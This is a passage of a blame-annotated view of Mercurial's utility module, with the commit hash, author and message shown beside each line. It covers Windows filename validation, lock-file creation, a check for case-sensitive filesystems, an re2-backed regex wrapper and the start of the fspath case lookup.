687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2045 if b'\\/' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2046 return _(b"directory name ends with '\\', which is invalid on Windows")
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2047 for n in path.replace(b'\\', b'/').split(b'/'):
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2048 if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2049 continue
32572
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
2050 for c in _filenamebytestr(n):
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
2051 if c in _winreservedchars:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2052 return (
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2053 _(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2054 b"filename contains '%s', which is reserved "
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2055 b"on Windows"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2056 )
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2057 % c
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2058 )
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2059 if ord(c) <= 31:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2060 return _(
43117
8ff1ecfadcd1 cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents: 43106
diff changeset
2061 b"filename contains '%s', which is invalid on Windows"
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2062 ) % stringutil.escapestr(c)
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2063 base = n.split(b'.')[0]
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
2064 if base and base.lower() in _winreservednames:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2065 return (
43117
8ff1ecfadcd1 cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents: 43106
diff changeset
2066 _(b"filename contains '%s', which is reserved on Windows")
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2067 % base
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2068 )
34361
7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents: 34360
diff changeset
2069 t = n[-1:]
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2070 if t in b'. ' and n not in b'..':
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2071 return (
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2072 _(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2073 b"filename ends with '%s', which is not allowed "
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2074 b"on Windows"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2075 )
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2076 % t
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2077 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2078
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2079
44018
f9d29e1d3354 util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents: 43920
diff changeset
2080 timer = getattr(time, "perf_counter", None)
f9d29e1d3354 util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents: 43920
diff changeset
2081
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
2082 if pycompat.iswindows:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2083 checkosfilename = checkwinfilename
44018
f9d29e1d3354 util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents: 43920
diff changeset
2084 if not timer:
f9d29e1d3354 util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents: 43920
diff changeset
2085 timer = time.clock
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2086 else:
43883
09bcbeacedc7 typing: suppress a warning that mercurial.windows.checkosfilename is missing
Matt Harbison <matt_harbison@yahoo.com>
parents: 43882
diff changeset
2087 # mercurial.windows doesn't have platform.checkosfilename
09bcbeacedc7 typing: suppress a warning that mercurial.windows.checkosfilename is missing
Matt Harbison <matt_harbison@yahoo.com>
parents: 43882
diff changeset
2088 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
44018
f9d29e1d3354 util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents: 43920
diff changeset
2089 if not timer:
f9d29e1d3354 util: avoid referencing `time.clock()` on Windows when missing (issue6238)
Matt Harbison <matt_harbison@yahoo.com>
parents: 43920
diff changeset
2090 timer = time.time
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2091
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2092
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2093 def makelock(info, pathname):
36701
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
2094 """Create a lock file atomically if possible
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
2095
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
2096 This may leave a stale lock file if symlink isn't supported and signal
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
2097 interrupt is enabled.
d77c3b023393 lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents: 36699
diff changeset
2098 """
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2099 try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2100 return os.symlink(info, pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
2101 except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2102 if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2103 raise
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2104 except AttributeError: # no symlink in os
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2105 pass
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2106
36783
1fbbb8e83392 py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents: 36782
diff changeset
2107 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1fbbb8e83392 py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents: 36782
diff changeset
2108 ld = os.open(pathname, flags)
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
2109 os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
2110 os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
2111
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2112
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2113 def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2114 try:
39904
5fe0b880200e py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 39777
diff changeset
2115 return readlink(pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
2116 except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2117 if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2118 raise
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2119 except AttributeError: # no symlink in os
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
2120 pass
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2121 with posixfile(pathname, b'rb') as fp:
39905
4017968f0a1d util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents: 39904
diff changeset
2122 return fp.read()
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
2123
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2124
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2125 def fstat(fp):
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2126 '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2127 try:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2128 return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2129 except AttributeError:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2130 return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
2131
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2132
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2133 # File system features
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2134
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2135
29889
6f447b9ec263 util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents: 29832
diff changeset
2136 def fscasesensitive(path):
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2137 """
18911
451eb1c27c1b util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents: 18868
diff changeset
2138 Return true if the given path is on a case-sensitive filesystem
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2139
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2140 Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2141 directory component.
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2142 """
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
2143 s1 = os.lstat(path)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2144 d, b = os.path.split(path)
15667
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
2145 b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
2146 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
2147 b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
2148 if b == b2:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2149 return True # no evidence against case sensitivity
15667
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
2150 p2 = os.path.join(d, b2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2151 try:
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
2152 s2 = os.lstat(p2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2153 if s2 == s1:
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2154 return False
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2155 return True
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
2156 except OSError:
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2157 return True
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
2158
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2159
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
2160 try:
43879
40bd667491a7 pytype: suppress the import-error in util.py when importing re2
Matt Harbison <matt_harbison@yahoo.com>
parents: 43754
diff changeset
2161 import re2 # pytype: disable=import-error
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2162
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
2163 _re2 = None
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
2164 except ImportError:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
2165 _re2 = False
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
2166
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2167
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2168 class _re(object):
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2169 def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2170 global _re2
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2171 try:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2172 # check if match works, see issue3964
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2173 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2174 except ImportError:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2175 _re2 = False
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2176
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2177 def compile(self, pat, flags=0):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2178 """Compile a regular expression, using re2 if possible
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
2179
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2180 For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2181 only flags from the re module that are re2-compatible are
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2182 IGNORECASE and MULTILINE."""
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2183 if _re2 is None:
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
2184 self._checkre2()
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2185 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2186 if flags & remod.IGNORECASE:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2187 pat = b'(?i)' + pat
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2188 if flags & remod.MULTILINE:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2189 pat = b'(?m)' + pat
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2190 try:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2191 return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2192 except re2.error:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2193 pass
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2194 return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2195
21914
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2196 @propertycache
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2197 def escape(self):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2198 """Return the version of escape corresponding to self.compile.
21914
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2199
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2200 This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2201 function depends on the flags, etc, but it's the best we can do.
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2202 """
21914
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2203 global _re2
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2204 if _re2 is None:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2205 self._checkre2()
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2206 if _re2:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2207 return re2.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2208 else:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2209 return remod.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
2210
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2211
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
2212 re = _re()
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
2213
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2214 _fspathcache = {}
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2215
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2216
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2217 def fspath(name, root):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2218 """Get name in the case stored in the filesystem
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2219
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
2220 The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
2221
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
2222 Note that this function is unnecessary, and should not be
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2223 called, for case-sensitive filesystems (simply because it's expensive).
15670
d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15669
diff changeset
2224
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
2225 The root should be normcase-ed, too.
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2226 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2227
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2228 def _makefspathcacheentry(dir):
44452
9d2b2df2c2ba cleanup: run pyupgrade on our source tree to clean up varying things
Augie Fackler <augie@google.com>
parents: 44436
diff changeset
2229 return {normcase(n): n for n in os.listdir(dir)}
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
2230
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
2231 seps = pycompat.ossep
30625
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
2232 if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
2233 seps = seps + pycompat.osaltsep
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2234 # Protect backslashes. This gets silly very quickly.
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2235 seps.replace(b'\\', b'\\\\')
31496
670166e0fcaa util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents: 31495
diff changeset
2236 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
2237 dir = os.path.normpath(root)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2238 result = []
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2239 for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2240 if sep:
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2241 result.append(sep)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2242 continue
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2243
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
2244 if dir not in _fspathcache:
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2245 _fspathcache[dir] = _makefspathcacheentry(dir)
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
2246 contents = _fspathcache[dir]
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
2247
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
2248 found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
2249 if not found:
15720
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
2250 # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
